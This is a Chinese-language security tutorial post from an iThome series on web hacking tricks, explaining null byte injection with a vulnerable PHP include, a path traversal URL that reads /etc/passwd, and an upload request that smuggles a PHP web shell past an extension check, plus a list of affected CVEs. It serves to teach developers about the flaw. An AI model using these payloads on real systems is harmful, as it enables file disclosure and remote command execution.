iT邦幫忙

2021 iThome 鐵人賽

DAY 18
0
Security

讓Web開發者森77的Hacking Trick系列 第 18

[Day18] Null byte Injection

前言

%00

正文

概念

Null byte Injection是一種將Null Byte(如%00或0x00)注入到某個input中,來bypass一些Security Control/Filter的一種手法,這種攻擊可以改變Web Application原本的行為和邏輯,這可能導致一些原本不起作用的攻擊變得可以實行,甚至造成任意檔案上傳/RCE等。

例如,有一個網站提供一個圖片下載(觀看)的功能,並限制只能瀏覽jpg檔

image.php

<?php
$fname = $_REQUEST['file'];
require_once('/var/www/'.$fname.'.jpg');
...

這時候攻擊者可以利用Null Byte來截斷後面的內容(因為Null Byte常被用來當作字串的結尾),使原本的應用程式行為被改變。

http://example.com/upload.php?file=../../../../etc/passwd%00

這時候應用程式原本應該要讀取../../../../etc/passwd%00.jpg,但因為遇到%00,應用程式認為已經到字串的結尾因此中斷變成只拿到../../../../etc/passwd,而將系統的/etc/passwd印出在網頁上。

剛剛介紹的是LFI/RFI的利用手法,那上傳呢?

重複上面的例子,但將他變成上傳照片的功能,也使用白名單機制

攻擊者可以構建一個這樣的Request:

POST /upload.php HTTP/1.1
Host: example.com
...

----------------
Content-Disposition: form-data,file=webshell.php%00.jpg
Content-Type: image/jpeg

<?php
echo system($_REQUEST['cmd']); 
?>
----------------

就可以成功上傳web shell了。當然不只PHP會有這種問題,像是Perl,Java等等也都有可能發生。

Case Study

這次的Case Study沒有甚麼特別需要描述的,因為都是允許%00\0等等Null Byte放在input後端,不一樣的是造成的危害不太一樣,從LFI、Source code disclosure到bypass detection等,一些其他的RCE通常跟隨Web Application的功能而定。下面列出一些曾受影響的Case

CVE-2005-2008

Source code disclosure

CVE-2002-1774

Bypass detection

CVE-2003-0768

XSS Protect Bypass
CVE-2005-3153

PHP Regex Bypass
CVE-2004-0189

Bypass ACL Regex


上一篇
[Day17] XML Signature Wrapping
下一篇
[Day19 ] Prototype Pollution - Prototype汙染
系列文
讓Web開發者森77的Hacking Trick30

尚未有邦友留言

立即登入留言